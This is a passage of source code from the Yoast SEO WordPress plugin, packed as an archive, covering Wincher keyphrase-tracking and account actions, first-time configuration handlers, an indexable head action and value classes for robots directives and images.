		return (object) [
			'success' => false,
			'status'  => 500,
			'error'   => 'Could not save the option in the database',
		];
	}
}
wordpress-seo/src/actions/wincher/wincher-keyphrases-action.php000064400000022227147510273100021052 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Wincher;

use Exception;
use WP_Post;
use WPSEO_Utils;
use Yoast\WP\SEO\Config\Wincher_Client;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Class Wincher_Keyphrases_Action
 */
class Wincher_Keyphrases_Action {

	/**
	 * The Wincher keyphrase URL for bulk addition.
	 *
	 * @var string
	 */
	public const KEYPHRASES_ADD_URL = 'https://api.wincher.com/beta/websites/%s/keywords/bulk';

	/**
	 * The Wincher tracked keyphrase retrieval URL.
	 *
	 * @var string
	 */
	public const KEYPHRASES_URL = 'https://api.wincher.com/beta/yoast/%s';

	/**
	 * The Wincher delete tracked keyphrase URL.
	 *
	 * @var string
	 */
	public const KEYPHRASE_DELETE_URL = 'https://api.wincher.com/beta/websites/%s/keywords/%s';

	/**
	 * The Wincher_Client instance.
	 *
	 * @var Wincher_Client
	 */
	protected $client;

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The Indexable_Repository instance.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Wincher_Keyphrases_Action constructor.
	 *
	 * @param Wincher_Client       $client               The API client.
	 * @param Options_Helper       $options_helper       The options helper.
	 * @param Indexable_Repository $indexable_repository The indexables repository.
	 */
	public function __construct(
		Wincher_Client $client,
		Options_Helper $options_helper,
		Indexable_Repository $indexable_repository
	) {
		$this->client               = $client;
		$this->options_helper       = $options_helper;
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Sends the tracking API request for one or more keyphrases.
	 *
	 * @param string|array $keyphrases One or more keyphrases that should be tracked.
	 * @param Object       $limits     The limits API call response data.
	 *
	 * @return Object The reponse object.
	 */
	public function track_keyphrases( $keyphrases, $limits ) {
		try {
			$endpoint = \sprintf(
				self::KEYPHRASES_ADD_URL,
				$this->options_helper->get( 'wincher_website_id' )
			);

			// Enforce arrrays to ensure a consistent way of preparing the request.
			if ( ! \is_array( $keyphrases ) ) {
				$keyphrases = [ $keyphrases ];
			}

			// Calculate if the user would exceed their limit.
			// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase -- To ensure JS code style, this can be ignored.
			if ( ! $limits->canTrack || $this->would_exceed_limits( $keyphrases, $limits ) ) {
				$response = [
					'limit'  => $limits->limit,
					'error'  => 'Account limit exceeded',
					'status' => 400,
				];

				return $this->to_result_object( $response );
			}

			$formatted_keyphrases = \array_values(
				\array_map(
					static function ( $keyphrase ) {
						return [
							'keyword' => $keyphrase,
							'groups'  => [],
						];
					},
					$keyphrases
				)
			);

			$results = $this->client->post( $endpoint, WPSEO_Utils::format_json_encode( $formatted_keyphrases ) );

			if ( ! \array_key_exists( 'data', $results ) ) {
				return $this->to_result_object( $results );
			}

			// The endpoint returns a lot of stuff that we don't want/need.
			$results['data'] = \array_map(
				static function ( $keyphrase ) {
					return [
						'id'         => $keyphrase['id'],
						'keyword'    => $keyphrase['keyword'],
					];
				},
				$results['data']
			);

			$results['data'] = \array_combine(
				\array_column( $results['data'], 'keyword' ),
				\array_values( $results['data'] )
			);

			return $this->to_result_object( $results );
		} catch ( Exception $e ) {
			return (object) [
				'error'  => $e->getMessage(),
				'status' => $e->getCode(),
			];
		}
	}

	/**
	 * Sends an untrack request for the passed keyword ID.
	 *
	 * @param int $keyphrase_id The ID of the keyphrase to untrack.
	 *
	 * @return object The response object.
	 */
	public function untrack_keyphrase( $keyphrase_id ) {
		try {
			$endpoint = \sprintf(
				self::KEYPHRASE_DELETE_URL,
				$this->options_helper->get( 'wincher_website_id' ),
				$keyphrase_id
			);

			$this->client->delete( $endpoint );

			return (object) [
				'status' => 200,
			];
		} catch ( Exception $e ) {
			return (object) [
				'error'  => $e->getMessage(),
				'status' => $e->getCode(),
			];
		}
	}

	/**
	 * Gets the keyphrase data for the passed keyphrases.
	 * Retrieves all available data if no keyphrases are provided.
	 *
	 * @param array|null  $used_keyphrases The currently used keyphrases. Optional.
	 * @param string|null $permalink       The current permalink. Optional.
	 * @param string|null $start_at        The position start date. Optional.
	 *
	 * @return object The keyphrase chart data.
	 */
	public function get_tracked_keyphrases( $used_keyphrases = null, $permalink = null, $start_at = null ) {
		try {
			if ( $used_keyphrases === null ) {
				$used_keyphrases = $this->collect_all_keyphrases();
			}

			// If we still have no keyphrases the API will return an error, so
			// don't even bother sending a request.
			if ( empty( $used_keyphrases ) ) {
				return $this->to_result_object(
					[
						'data'   => [],
						'status' => 200,
					]
				);
			}

			$endpoint = \sprintf(
				self::KEYPHRASES_URL,
				$this->options_helper->get( 'wincher_website_id' )
			);

			$results = $this->client->post(
				$endpoint,
				WPSEO_Utils::format_json_encode(
					[
						'keywords' => $used_keyphrases,
						'url'      => $permalink,
						'start_at' => $start_at,
					]
				),
				[
					'timeout' => 60,
				]
			);

			if ( ! \array_key_exists( 'data', $results ) ) {
				return $this->to_result_object( $results );
			}

			$results['data'] = $this->filter_results_by_used_keyphrases( $results['data'], $used_keyphrases );

			// Extract the positional data and assign it to the keyphrase.
			$results['data'] = \array_combine(
				\array_column( $results['data'], 'keyword' ),
				\array_values( $results['data'] )
			);

			return $this->to_result_object( $results );
		} catch ( Exception $e ) {
			return (object) [
				'error'  => $e->getMessage(),
				'status' => $e->getCode(),
			];
		}
	}

	/**
	 * Collects the keyphrases associated with the post.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return array The keyphrases.
	 */
	public function collect_keyphrases_from_post( $post ) {
		$keyphrases        = [];
		$primary_keyphrase = $this->indexable_repository
			->query()
			->select( 'primary_focus_keyword' )
			->where( 'object_id', $post->ID )
			->find_one();

		if ( $primary_keyphrase ) {
			$keyphrases[] = $primary_keyphrase->primary_focus_keyword;
		}

		/**
		 * Filters the keyphrases collected by the Wincher integration from the post.
		 *
		 * @param array $keyphrases The keyphrases array.
		 * @param int   $post_id    The ID of the post.
		 */
		return \apply_filters( 'wpseo_wincher_keyphrases_from_post', $keyphrases, $post->ID );
	}

	/**
	 * Collects all keyphrases known to Yoast.
	 *
	 * @return array
	 */
	protected function collect_all_keyphrases() {
		// Collect primary keyphrases first.
		$keyphrases = \array_column(
			$this->indexable_repository
				->query()
				->select( 'primary_focus_keyword' )
				->where_not_null( 'primary_focus_keyword' )
				->where( 'object_type', 'post' )
				->where_not_equal( 'post_status', 'trash' )
				->distinct()
				->find_array(),
			'primary_focus_keyword'
		);

		/**
		 * Filters the keyphrases collected by the Wincher integration from all the posts.
		 *
		 * @param array $keyphrases The keyphrases array.
		 */
		$keyphrases = \apply_filters( 'wpseo_wincher_all_keyphrases', $keyphrases );

		// Filter out empty entries.
		return \array_filter( $keyphrases );
	}

	/**
	 * Filters the results based on the passed keyphrases.
	 *
	 * @param array $results         The results to filter.
	 * @param array $used_keyphrases The used keyphrases.
	 *
	 * @return array The filtered results.
	 */
	protected function filter_results_by_used_keyphrases( $results, $used_keyphrases ) {
		return \array_filter(
			$results,
			static function ( $result ) use ( $used_keyphrases ) {
				return \in_array( $result['keyword'], \array_map( 'strtolower', $used_keyphrases ), true );
			}
		);
	}

	/**
	 * Determines whether the amount of keyphrases would mean the user exceeds their account limits.
	 *
	 * @param string|array $keyphrases The keyphrases to be added.
	 * @param object       $limits     The current account limits.
	 *
	 * @return bool Whether the limit is exceeded.
	 */
	protected function would_exceed_limits( $keyphrases, $limits ) {
		if ( ! \is_array( $keyphrases ) ) {
			$keyphrases = [ $keyphrases ];
		}

		if ( \is_null( $limits->limit ) ) {
			return false;
		}

		return ( \count( $keyphrases ) + $limits->usage ) > $limits->limit;
	}

	/**
	 * Converts the passed dataset to an object.
	 *
	 * @param array $result The result dataset to convert to an object.
	 *
	 * @return object The result object.
	 */
	protected function to_result_object( $result ) {
		if ( \array_key_exists( 'data', $result ) ) {
			$result['results'] = (object) $result['data'];

			unset( $result['data'] );
		}

		if ( \array_key_exists( 'message', $result ) ) {
			$result['error'] = $result['message'];

			unset( $result['message'] );
		}

		return (object) $result;
	}
}
wordpress-seo/src/actions/wincher/wincher-login-action.php000064400000003336147510273100020004 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Wincher;

use Yoast\WP\SEO\Config\Wincher_Client;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class Wincher_Login_Action
 */
class Wincher_Login_Action {

	/**
	 * The Wincher_Client instance.
	 *
	 * @var Wincher_Client
	 */
	protected $client;

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Wincher_Login_Action constructor.
	 *
	 * @param Wincher_Client $client         The API client.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Wincher_Client $client, Options_Helper $options_helper ) {
		$this->client         = $client;
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the authorization URL.
	 *
	 * @return object The response object.
	 */
	public function get_authorization_url() {
		return (object) [
			'status'    => 200,
			'url'       => $this->client->get_authorization_url(),
		];
	}

	/**
	 * Authenticates with Wincher to request the necessary tokens.
	 *
	 * @param string $code       The authentication code to use to request a token with.
	 * @param string $website_id The website id associated with the code.
	 *
	 * @return object The response object.
	 */
	public function authenticate( $code, $website_id ) {
		// Code has already been validated at this point. No need to do that again.
		try {
			$tokens = $this->client->request_tokens( $code );
			$this->options_helper->set( 'wincher_website_id', $website_id );

			return (object) [
				'tokens' => $tokens->to_array(),
				'status' => 200,
			];
		} catch ( Authentication_Failed_Exception $e ) {
			return $e->get_response();
		}
	}
}
wordpress-seo/src/actions/wincher/wincher-account-action.php000064400000004743147510273100020333 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Wincher;

use Exception;
use Yoast\WP\SEO\Config\Wincher_Client;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class Wincher_Account_Action
 */
class Wincher_Account_Action {

	public const ACCOUNT_URL          = 'https://api.wincher.com/beta/account';
	public const UPGRADE_CAMPAIGN_URL = 'https://api.wincher.com/v1/yoast/upgrade-campaign';

	/**
	 * The Wincher_Client instance.
	 *
	 * @var Wincher_Client
	 */
	protected $client;

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Wincher_Account_Action constructor.
	 *
	 * @param Wincher_Client $client         The API client.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Wincher_Client $client, Options_Helper $options_helper ) {
		$this->client         = $client;
		$this->options_helper = $options_helper;
	}

	/**
	 * Checks the account limit for tracking keyphrases.
	 *
	 * @return object The response object.
	 */
	public function check_limit() {
		// Code has already been validated at this point. No need to do that again.
		try {
			$results = $this->client->get( self::ACCOUNT_URL );

			$usage   = $results['limits']['keywords']['usage'];
			$limit   = $results['limits']['keywords']['limit'];
			$history = $results['limits']['history_days'];

			return (object) [
				'canTrack'    => \is_null( $limit ) || $usage < $limit,
				'limit'       => $limit,
				'usage'       => $usage,
				'historyDays' => $history,
				'status'      => 200,
			];
		} catch ( Exception $e ) {
			return (object) [
				'status' => $e->getCode(),
				'error'  => $e->getMessage(),
			];
		}
	}

	/**
	 * Gets the upgrade campaign.
	 *
	 * @return object The response object.
	 */
	public function get_upgrade_campaign() {
		try {
			$result   = $this->client->get( self::UPGRADE_CAMPAIGN_URL );
			$type     = ( $result['type'] ?? null );
			$months   = ( $result['months'] ?? null );
			$discount = ( $result['value'] ?? null );

			// We display upgrade discount only if it's a rate discount and positive months/discount.
			if ( $type === 'RATE' && $months && $discount ) {

				return (object) [
					'discount'  => $discount,
					'months'    => $months,
					'status'    => 200,
				];
			}

			return (object) [
				'discount'  => null,
				'months'    => null,
				'status'    => 200,
			];
		} catch ( Exception $e ) {
			return (object) [
				'status' => $e->getCode(),
				'error'  => $e->getMessage(),
			];
		}
	}
}
wordpress-seo/src/actions/configuration/first-time-configuration-action.php000064400000021147147510273100023377 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Configuration;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Social_Profiles_Helper;

/**
 * Class First_Time_Configuration_Action.
 */
class First_Time_Configuration_Action {

	/**
	 * The fields for the site representation payload.
	 */
	public const SITE_REPRESENTATION_FIELDS = [
		'company_or_person',
		'company_name',
		'website_name',
		'company_logo',
		'company_logo_id',
		'person_logo',
		'person_logo_id',
		'company_or_person_user_id',
		'description',
	];

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The Social_Profiles_Helper instance.
	 *
	 * @var Social_Profiles_Helper
	 */
	protected $social_profiles_helper;

	/**
	 * First_Time_Configuration_Action constructor.
	 *
	 * @param Options_Helper         $options_helper         The WPSEO options helper.
	 * @param Social_Profiles_Helper $social_profiles_helper The social profiles helper.
	 */
	public function __construct( Options_Helper $options_helper, Social_Profiles_Helper $social_profiles_helper ) {
		$this->options_helper         = $options_helper;
		$this->social_profiles_helper = $social_profiles_helper;
	}

	/**
	 * Stores the values for the site representation.
	 *
	 * @param array $params The values to store.
	 *
	 * @return object The response object.
	 */
	public function set_site_representation( $params ) {
		$failures   = [];
		$old_values = $this->get_old_values( self::SITE_REPRESENTATION_FIELDS );

		foreach ( self::SITE_REPRESENTATION_FIELDS as $field_name ) {
			if ( isset( $params[ $field_name ] ) ) {
				$result = $this->options_helper->set( $field_name, $params[ $field_name ] );

				if ( ! $result ) {
					$failures[] = $field_name;
				}
			}
		}

		// Delete cached logos in the db.
		$this->options_helper->set( 'company_logo_meta', false );
		$this->options_helper->set( 'person_logo_meta', false );

		/**
		 * Action: 'wpseo_post_update_site_representation' - Allows for Hiive event tracking.
		 *
		 * @param array $params     The new values of the options.
		 * @param array $old_values The old values of the options.
		 * @param array $failures   The options that failed to be saved.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_ftc_post_update_site_representation', $params, $old_values, $failures );

		if ( \count( $failures ) === 0 ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}

		return (object) [
			'success'  => false,
			'status'   => 500,
			'error'    => 'Could not save some options in the database',
			'failures' => $failures,
		];
	}

	/**
	 * Stores the values for the social profiles.
	 *
	 * @param array $params The values to store.
	 *
	 * @return object The response object.
	 */
	public function set_social_profiles( $params ) {
		$old_values = $this->get_old_values( \array_keys( $this->social_profiles_helper->get_organization_social_profile_fields() ) );
		$failures   = $this->social_profiles_helper->set_organization_social_profiles( $params );

		/**
		 * Action: 'wpseo_post_update_social_profiles' - Allows for Hiive event tracking.
		 *
		 * @param array $params     The new values of the options.
		 * @param array $old_values The old values of the options.
		 * @param array $failures   The options that failed to be saved.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_ftc_post_update_social_profiles', $params, $old_values, $failures );

		if ( empty( $failures ) ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}

		return (object) [
			'success'  => false,
			'status'   => 200,
			'error'    => 'Could not save some options in the database',
			'failures' => $failures,
		];
	}

	/**
	 * Stores the values for the social profiles.
	 *
	 * @param array $params The values to store.
	 *
	 * @return object The response object.
	 */
	public function set_person_social_profiles( $params ) {
		$social_profiles = \array_filter(
			$params,
			static function ( $key ) {
				return $key !== 'user_id';
			},
			\ARRAY_FILTER_USE_KEY
		);

		$failures = $this->social_profiles_helper->set_person_social_profiles( $params['user_id'], $social_profiles );

		if ( \count( $failures ) === 0 ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}

		return (object) [
			'success'  => false,
			'status'   => 200,
			'error'    => 'Could not save some options in the database',
			'failures' => $failures,
		];
	}

	/**
	 * Gets the values for the social profiles.
	 *
	 * @param int $user_id The person ID.
	 *
	 * @return object The response object.
	 */
	public function get_person_social_profiles( $user_id ) {

		return (object) [
			'success'         => true,
			'status'          => 200,
			'social_profiles' => $this->social_profiles_helper->get_person_social_profiles( $user_id ),
		];
	}

	/**
	 * Stores the values to enable/disable tracking.
	 *
	 * @param array $params The values to store.
	 *
	 * @return object The response object.
	 */
	public function set_enable_tracking( $params ) {
		$success      = true;
		$option_value = $this->options_helper->get( 'tracking' );

		if ( $option_value !== $params['tracking'] ) {
			$this->options_helper->set( 'toggled_tracking', true );
			$success = $this->options_helper->set( 'tracking', $params['tracking'] );
		}

		/**
		 * Action: 'wpseo_post_update_enable_tracking' - Allows for Hiive event tracking.
		 *
		 * @param array $new_value The new value.
		 * @param array $old_value The old value.
		 * @param bool  $failure   Whether the option failed to be stored.
		 *
		 * @internal
		 */
		// $success is negated to be aligned with the other two actions which pass $failures.
		\do_action( 'wpseo_ftc_post_update_enable_tracking', $params['tracking'], $option_value, ! $success );

		if ( $success ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}

		return (object) [
			'success' => false,
			'status'  => 500,
			'error'   => 'Could not save the option in the database',
		];
	}

	/**
	 * Checks if the current user has the capability a specific user.
	 *
	 * @param int $user_id The id of the user to be edited.
	 *
	 * @return object The response object.
	 */
	public function check_capability( $user_id ) {
		if ( $this->can_edit_profile( $user_id ) ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}

		return (object) [
			'success' => false,
			'status'  => 403,
		];
	}

	/**
	 * Stores the first time configuration state.
	 *
	 * @param array $params The values to store.
	 *
	 * @return object The response object.
	 */
	public function save_configuration_state( $params ) {
		// If the finishedSteps param is not present in the REST request, it's a malformed request.
		if ( ! isset( $params['finishedSteps'] ) ) {
			return (object) [
				'success' => false,
				'status'  => 400,
				'error'   => 'Bad request',
			];
		}

		// Sanitize input.
		$finished_steps = \array_map( '\sanitize_text_field', \wp_unslash( $params['finishedSteps'] ) );

		$success = $this->options_helper->set( 'configuration_finished_steps', $finished_steps );

		if ( ! $success ) {
			return (object) [
				'success' => false,
				'status'  => 500,
				'error'   => 'Could not save the option in the database',
			];
		}

		// If all the five steps of the configuration have been completed, set first_time_install option to false.
		if ( \count( $params['finishedSteps'] ) === 3 ) {
			$this->options_helper->set( 'first_time_install', false );
		}

		return (object) [
			'success' => true,
			'status'  => 200,
		];
	}

	/**
	 * Gets the first time configuration state.
	 *
	 * @return object The response object.
	 */
	public function get_configuration_state() {
		$configuration_option = $this->options_helper->get( 'configuration_finished_steps' );

		if ( ! \is_null( $configuration_option ) ) {
			return (object) [
				'success' => true,
				'status'  => 200,
				'data'    => $configuration_option,
			];
		}

		return (object) [
			'success' => false,
			'status'  => 500,
			'error'   => 'Could not get data from the database',
		];
	}

	/**
	 * Checks if the current user has the capability to edit a specific user.
	 *
	 * @param int $person_id The id of the person to edit.
	 *
	 * @return bool
	 */
	private function can_edit_profile( $person_id ) {
		return \current_user_can( 'edit_user', $person_id );
	}

	/**
	 * Gets the old values for the given fields.
	 *
	 * @param array $fields_names The fields to get the old values for.
	 *
	 * @return array The old values.
	 */
	private function get_old_values( array $fields_names ): array {
		$old_values = [];

		foreach ( $fields_names as $field_name ) {
			$old_values[ $field_name ] = $this->options_helper->get( $field_name );
		}

		return $old_values;
	}
}
wordpress-seo/src/actions/indexables/indexable-head-action.php000064400000007417147510273100020554 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexables;

use Yoast\WP\SEO\Surfaces\Meta_Surface;
use Yoast\WP\SEO\Surfaces\Values\Meta;

/**
 * Get head action for indexables.
 */
class Indexable_Head_Action {

	/**
	 * Caches the output.
	 *
	 * @var mixed
	 */
	protected $cache;

	/**
	 * The meta surface.
	 *
	 * @var Meta_Surface
	 */
	private $meta_surface;

	/**
	 * Indexable_Head_Action constructor.
	 *
	 * @param Meta_Surface $meta_surface The meta surface.
	 */
	public function __construct( Meta_Surface $meta_surface ) {
		$this->meta_surface = $meta_surface;
	}

	/**
	 * Retrieves the head for a url.
	 *
	 * @param string $url The url to get the head for.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_url( $url ) {
		if ( $url === \trailingslashit( \get_home_url() ) ) {
			return $this->with_404_fallback( $this->with_cache( 'home_page' ) );
		}
		return $this->with_404_fallback( $this->with_cache( 'url', $url ) );
	}

	/**
	 * Retrieves the head for a post.
	 *
	 * @param int $id The id.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_post( $id ) {
		return $this->with_404_fallback( $this->with_cache( 'post', $id ) );
	}

	/**
	 * Retrieves the head for a term.
	 *
	 * @param int $id The id.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_term( $id ) {
		return $this->with_404_fallback( $this->with_cache( 'term', $id ) );
	}

	/**
	 * Retrieves the head for an author.
	 *
	 * @param int $id The id.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_author( $id ) {
		return $this->with_404_fallback( $this->with_cache( 'author', $id ) );
	}

	/**
	 * Retrieves the head for a post type archive.
	 *
	 * @param int $type The id.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_post_type_archive( $type ) {
		return $this->with_404_fallback( $this->with_cache( 'post_type_archive', $type ) );
	}

	/**
	 * Retrieves the head for the posts page.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_posts_page() {
		return $this->with_404_fallback( $this->with_cache( 'posts_page' ) );
	}

	/**
	 * Retrieves the head for the 404 page. Always sets the status to 404.
	 *
	 * @return object Object with head and status properties.
	 */
	public function for_404() {
		$meta = $this->with_cache( '404' );

		if ( ! $meta ) {
			return (object) [
				'html'   => '',
				'json'   => [],
				'status' => 404,
			];
		}

		$head = $meta->get_head();

		return (object) [
			'html'   => $head->html,
			'json'   => $head->json,
			'status' => 404,
		];
	}

	/**
	 * Retrieves the head for a successful page load.
	 *
	 * @param object $head The calculated Yoast head.
	 *
	 * @return object The presentations and status code 200.
	 */
	protected function for_200( $head ) {
		return (object) [
			'html'   => $head->html,
			'json'   => $head->json,
			'status' => 200,
		];
	}

	/**
	 * Returns the head with 404 fallback
	 *
	 * @param Meta|false $meta The meta object.
	 *
	 * @return object The head response.
	 */
	protected function with_404_fallback( $meta ) {
		if ( $meta === false ) {
			return $this->for_404();
		}
		else {
			return $this->for_200( $meta->get_head() );
		}
	}

	/**
	 * Retrieves a value from the meta surface cached.
	 *
	 * @param string $type     The type of value to retrieve.
	 * @param string $argument Optional. The argument for the value.
	 *
	 * @return Meta The meta object.
	 */
	protected function with_cache( $type, $argument = '' ) {
		if ( ! isset( $this->cache[ $type ][ $argument ] ) ) {
			$this->cache[ $type ][ $argument ] = \call_user_func( [ $this->meta_surface, "for_$type" ], $argument );
		}

		return $this->cache[ $type ][ $argument ];
	}
}
wordpress-seo/src/values/robots/directive.php000064400000001225147510273100015445 0ustar00<?php

namespace Yoast\WP\SEO\Values\Robots;

/**
 * Class Directive
 */
class Directive {

	/**
	 * Paths list.
	 *
	 * @var array All paths affected by this directive.
	 */
	private $paths;

	/**
	 * Sets up the path array
	 */
	public function __construct() {
		$this->paths = [];
	}

	/**
	 * Adds a path to the directive path list.
	 *
	 * @param string $path A path to add in the path list.
	 *
	 * @return void
	 */
	public function add_path( $path ) {
		if ( ! \in_array( $path, $this->paths, true ) ) {
			$this->paths[] = $path;
		}
	}

	/**
	 * Returns all paths.
	 *
	 * @return array
	 */
	public function get_paths() {
		return $this->paths;
	}
}
wordpress-seo/src/values/robots/user-agent.php000064400000003226147510273100015544 0ustar00<?php

namespace Yoast\WP\SEO\Values\Robots;

/**
 * Class Directive
 */
class User_Agent {

	/**
	 * The user agent identifier.
	 *
	 * @var string
	 */
	private $user_agent;

	/**
	 * All directives that are allowed for this user agent.
	 *
	 * @var Directive
	 */
	private $allow_directive;

	/**
	 * All directives that are disallowed for this user agent.
	 *
	 * @var Directive
	 */
	private $disallow_directive;

	/**
	 * Constructor of the user agent value object.
	 *
	 * @param string $user_agent The user agent identifier.
	 */
	public function __construct( $user_agent ) {
		$this->user_agent         = $user_agent;
		$this->allow_directive    = new Directive();
		$this->disallow_directive = new Directive();
	}

	/**
	 * Gets the user agent identifier.
	 *
	 * @return string
	 */
	public function get_user_agent() {
		return $this->user_agent;
	}

	/**
	 * Adds a path to the directive object.
	 *
	 * @param string $path The path to add to the disallow directive.
	 *
	 * @return void
	 */
	public function add_disallow_directive( $path ) {
		$this->disallow_directive->add_path( $path );
	}

	/**
	 * Adds a path to the directive object.
	 *
	 * @param string $path The path to add to the allow directive.
	 *
	 * @return void
	 */
	public function add_allow_directive( $path ) {
		$this->allow_directive->add_path( $path );
	}

	/**
	 * Gets all disallow paths for this user agent.
	 *
	 * @return array
	 */
	public function get_disallow_paths() {
		return $this->disallow_directive->get_paths();
	}

	/**
	 * Gets all sallow paths for this user agent.
	 *
	 * @return array
	 */
	public function get_allow_paths() {
		return $this->allow_directive->get_paths();
	}
}
wordpress-seo/src/values/robots/user-agent-list.php000064400000003410147510273100016510 0ustar00<?php

namespace Yoast\WP\SEO\Values\Robots;

/**
 * Class User_Agent_List
 */
class User_Agent_List {

	/**
	 * The list of user agents.
	 *
	 * @var array
	 */
	private $user_agent_list;

	/**
	 * User Agent list constructor.
	 */
	public function __construct() {
		$this->user_agent_list = [];
	}

	/**
	 * Checks if given user_agent is already registered.
	 *
	 * @param string $user_agent The user agent identifier.
	 *
	 * @return bool
	 */
	public function has_user_agent( $user_agent ) {
		return \array_key_exists( $user_agent, $this->user_agent_list );
	}

	/**
	 * Gets the user agent object. If it is not yet registered it creates it.
	 *
	 * @param string $user_agent The user agent identifier.
	 *
	 * @return User_Agent
	 */
	public function get_user_agent( $user_agent ) {
		if ( $this->has_user_agent( $user_agent ) ) {
			return $this->user_agent_list[ $user_agent ];
		}

		$this->user_agent_list[ $user_agent ] = new User_Agent( $user_agent );

		return $this->user_agent_list[ $user_agent ];
	}

	/**
	 * Gets the list of user agents.
	 *
	 * @return array
	 */
	public function get_user_agents() {
		return $this->user_agent_list;
	}

	/**
	 * Gets a list of all disallow directives by user agent.
	 *
	 * @return array
	 */
	public function get_disallow_directives() {
		$directives = [];
		foreach ( $this->user_agent_list as $user_agent ) {
			$directives[ $user_agent->get_user_agent() ] = $user_agent->get_disallow_paths();
		}

		return $directives;
	}

	/**
	 * Gets a list of all sallow directives by user agent.
	 *
	 * @return array
	 */
	public function get_allow_directives() {
		$directives = [];
		foreach ( $this->user_agent_list as $user_agent ) {
			$directives[ $user_agent->get_user_agent() ] = $user_agent->get_allow_paths();
		}

		return $directives;
	}
}
wordpress-seo/src/values/open-graph/images.php000064400000002232147510273100015463 0ustar00<?php

namespace Yoast\WP\SEO\Values\Open_Graph;

use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Values\Images as Base_Images;

/**
 * Value object for the Open Graph Images.
 */
class Images extends Base_Images {

	/**
	 * The Open Graph image helper.
	 *
	 * @var Open_Graph_Image_Helper
	 */
	protected $open_graph_image;

	/**
	 * Sets the helpers.
	 *
	 * @required
	 *
	 * @codeCoverageIgnore - Is handled by DI-container.
	 *
	 * @param Open_Graph_Image_Helper $open_graph_image Image helper for Open Graph.
	 *
	 * @return void
	 */
	public function set_helpers( Open_Graph_Image_Helper $open_graph_image ) {
		$this->open_graph_image = $open_graph_image;
	}

	/**
	 * Outputs the images.
	 *
	 * @codeCoverageIgnore - The method is empty, nothing to test.
	 *
	 * @return void
	 */
	public function show() {}

	/**
	 * Adds an image to the list by image ID.
	 *
	 * @param int $image_id The image ID to add.
	 *
	 * @return void
	 */
	public function add_image_by_id( $image_id ) {
		$attachment = $this->open_graph_image->get_image_by_id( $image_id );

		if ( $attachment ) {
			$this->add_image( $attachment );
		}
	}
}
wordpress-seo/src/values/images.php000064400000005420147510273100013425 0ustar00<?php

namespace Yoast\WP\SEO\Values;

use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;

/**
 * Class Images
 *
 * Value object for the Images.
 */
class Images {

	/**
	 * The image size.
	 *
	 * @var string
	 */
	public $image_size = 'full';

	/**
	 * Holds the images that have been put out as image.
	 *
	 * @var array
	 */
	protected $images = [];

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url;

	/**
	 * Images constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Image_Helper $image The image helper.
	 * @param Url_Helper   $url   The url helper.
	 */
	public function __construct( Image_Helper $image, Url_Helper $url ) {
		$this->image = $image;
		$this->url   = $url;
	}

	/**
	 * Adds an image to the list by image ID.
	 *
	 * @param int $image_id The image ID to add.
	 *
	 * @return void
	 */
	public function add_image_by_id( $image_id ) {
		$image = $this->image->get_attachment_image_source( $image_id, $this->image_size );
		if ( $image ) {
			$this->add_image( $image );
		}
	}

	/**
	 * Adds an image to the list by image ID.
	 *
	 * @param string $image_meta JSON encoded image meta.
	 *
	 * @return void
	 */
	public function add_image_by_meta( $image_meta ) {
		$this->add_image( (array) \json_decode( $image_meta ) );
	}

	/**
	 * Return the images array.
	 *
	 * @return array The images.
	 */
	public function get_images() {
		return $this->images;
	}

	/**
	 * Check whether we have images or not.
	 *
	 * @return bool True if we have images, false if we don't.
	 */
	public function has_images() {
		return ! empty( $this->images );
	}

	/**
	 * Adds an image based on a given URL.
	 *
	 * @param string $url The given URL.
	 *
	 * @return number|null Returns the found image ID if it exists. Otherwise -1.
	 *                     If the URL is empty we return null.
	 */
	public function add_image_by_url( $url ) {
		if ( empty( $url ) ) {
			return null;
		}

		$image_id = $this->image->get_attachment_by_url( $url );

		if ( $image_id ) {
			$this->add_image_by_id( $image_id );

			return $image_id;
		}

		$this->add_image( $url );

		return -1;
	}

	/**
	 * Adds an image to the list of images.
	 *
	 * @param string|array $image Image array.
